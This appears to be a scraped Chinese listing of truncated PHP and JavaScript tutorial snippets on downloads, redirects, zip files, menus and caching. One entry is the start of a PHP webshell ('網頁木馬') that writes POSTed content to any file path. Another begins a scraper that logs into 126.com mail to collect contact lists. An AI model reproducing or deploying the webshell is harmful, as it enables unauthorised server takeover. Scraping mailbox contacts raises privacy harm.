Time of Update: 2016-07-29
複製代碼 代碼如下:$filename = '路徑+實際檔案名稱'; //檔案的類型 header('Content-type: application/pdf'); //下載顯示的名字 header('Content-Disposition: attachment; filename="儲存時的檔案名稱.pdf"'); readfile("$filename"); exit(); ?> 下面是網上常用的方法 複製代碼 代碼如下:if (isset($link))
Time of Update: 2016-07-29
不管頁面有多少header,它會執行最後一個,不過是有條件的,例如: header('Location:http://www.jb51.net'); header('Location:http://www.g.cn'); header('Location:http://www.baidu.com'); 這個就會跳到百度 header('Location:http://www.jb51.net');echo '本站'; header('Location:http://www.g.cn');
Time of Update: 2016-07-29
複製代碼 代碼如下:/* $Id: PHPZip.php */ class PHPZip { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function Zip($dir, $zipfilename) { if (@function_exists('gzcompress')) {
Time of Update: 2016-07-29
這個是由asp二級側拉菜單改的 複製代碼 代碼如下: require('../Connections/lr.php'); mysql_select_db($database_lr, $lr); $query = mysql_query("SELECT * FROM bigclass order by sort"); $j=0; while($row=mysql_fetch_array($query)) {$j=$j+1; $bigclassid=$row['bigclassid'];
Time of Update: 2016-07-29
就是contains這個函數,書上介紹說這個函數是按照元素的內容來來篩選選擇的元素集,當我運行代碼的時候老是報錯,後來發現是函數庫裡沒有這個函數,於是自己寫了這個函數。 代碼如下: 複製代碼 代碼如下:function yhCheckIsIncludingValue(element , pattern) { var bool = false; var childrenNodes = element.childNodes; if (childrenNodes.length == 0) { if (
Time of Update: 2016-07-29
複製代碼 代碼如下:function getAllDirAndFile($path) { if(is_file($path)) { if(isImage($path)) { $str=""; $str.=''; $str.=""; $path=iconv("gb2312","utf-8",$path); $str.="".$path.""; $str.=""; $str.=""; echo $str; } } else { $resource=opendir($path); while
Time of Update: 2016-07-29
在網上找了一些,大部分都已經失效,為此我重新整理了一下;特別放出126的代碼,163是比較容易抓取的;126有點變態多了一次跳轉,比較麻煩複製代碼 代碼如下:/** * @file class.126http.php * 獲得126郵箱通訊錄列表 * @author jvones http://www.jvones.com/blog * @date 2009-09-26 **/ class http126 { private function login($username,
Time of Update: 2016-07-29
php網頁木馬複製代碼 代碼如下:header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> 儲存檔案名稱: "> if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo
Time of Update: 2016-07-29
複製代碼 代碼如下:// 計算身份證校正碼,根據國家標準GB 11643-1999 function idcard_verify_number($idcard_base){ if (strlen($idcard_base) != 17){ return false; } // 加權因子 $factor = array(7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2); // 校正碼對應值 $verify_number_list =
Time of Update: 2016-07-29
複製代碼 代碼如下:function getsiteurl() { global $_SCONFIG; if(empty($_SCONFIG['siteallurl'])) { $uri = $_SERVER['REQUEST_URI']?$_SERVER['REQUEST_URI']:($_SERVER['PHP_SELF']?$_SERVER['PHP_SELF']:$_SERVER['SCRIPT_NAME']); return shtmlspecialchars('http://'.$_
Time of Update: 2016-07-29
複製代碼 代碼如下:header('content-type:text/html;charset=utf-8'); function delFile($fpath) { $filesize = array(); $filepath = iconv('gb2312', 'utf-8', $fpath); if (is_dir($fpath)) { if ($dh = opendir($fpath)) { while (($file = readdir($dh)) !== false) { if($
Time of Update: 2016-07-29
複製代碼 代碼如下:// +----------------------------------------------------------------------+ // | PHP version 4&5 | // +----------------------------------------------------------------------+ // | Copyright (c) 2007 JackieWangjackieit@hotmail.com | // +----
Time of Update: 2016-07-29
首先需要一個帶輸入表格. 複製代碼 代碼如下:To change this template, choose Tools | Templates and open the template in the editor. --> Insert 知識點 知識點 答案 複製代碼 代碼如下:/* * To change this template, choose Tools | Templates * and open the template in the editor.
Time of Update: 2016-07-29
定義和用法__construct() 函數建立一個新的 SimpleXMLElement 對象。如果成功,則該函數返回一個對象。如果失敗,則返回 false。文法__construct(data,options,is_url,ns,is_prefix)參數描述data必需。形式良好的 XML 字串或 XML 文檔的路徑或 URL。options可選。規定附加的 Libxml 參數。is_url可選。規定 data 參數是否是 URL。預設是
Time of Update: 2016-07-29
下面我綠蘋果帶大家走進PHP的入門之路 說明: 我這裡暫時是以 Apache web server 和 MY SQL 作為WEB伺服器和資料庫,在php-4.3.3下的環境做的程式。當然要簡單的構建和訪問查看資料庫 PHPMYADMIN 不可少 這裡需要懂得HTML基礎知識!沒有HTML基礎知識的!可以去百度或者GOOGLE搜下!很簡單的!這裡就不多說了 好了我們開始吧!我們就把PHP入門當成一個蘋果吧!一口一口的吃掉他! 不囉嗦了!開始了 吃蘋果一 1、嵌入方法:
Time of Update: 2016-07-29
整理出POST與GET
Time of Update: 2016-07-29
1,繼承extends 只能單繼承 public protected private 屬性 __construct() __destruct() __get()讀取私人成員 __set($n,$v) 設定私人成員 2,訪問父類函數 :: (c++裡面也叫範圍符) 7 3,重載 和 父類名字相同的 函數 4,抽象類別 abstract 必須繼承 不能被執行個體話 並且 必須要重寫抽象函數 只要類中有一個函數是靜態 那麼類必須為靜態 5,常用關鍵字 1,final 定義類的時候 類 不能被繼承
Time of Update: 2016-07-29
MAMP 使用時ZendStudio工程運行報錯:The requested URL /XXX.php was not found on this server: 原因在於MAMP Document root預設在應用中,應修改之後將ZendStudio的工作空間設定位於同目錄下. ZendStudio在運行.php檔案之後, 輸出中文亂碼: 需要添加header ').addClass('pre-numbering').hide();
Time of Update: 2016-07-29
1,Smarty緩衝的配置: 複製代碼 代碼如下:$smarty->cache-dir="目錄名"; //建立緩衝目錄名 $smarty->caching=true; //開啟緩衝,為false的時候快取無效判定 $smarty->cache_lifetime=60; //緩衝時間,單位是秒 2,Smarty緩衝的使用與清除複製代碼 代碼如下:$marty->display("cache.tpl",cache_id); //建立帶ID的緩衝 $marty->clear_all_cache();
Time of Update: 2016-07-29
先記下,免得以後想不起來又到處去找! PHP操作資料庫的時候,資料庫中資料使用UTF8編碼,在讀出來的時候,顯示的全是???????問號亂碼,找了一些資料原來是在讀取之前進行一次編碼設定: 複製代碼 代碼如下:create table tablename ( id int not null auto_increment, title varchar(20) not null, contnet varchar(300) defalut null, primary key ('id')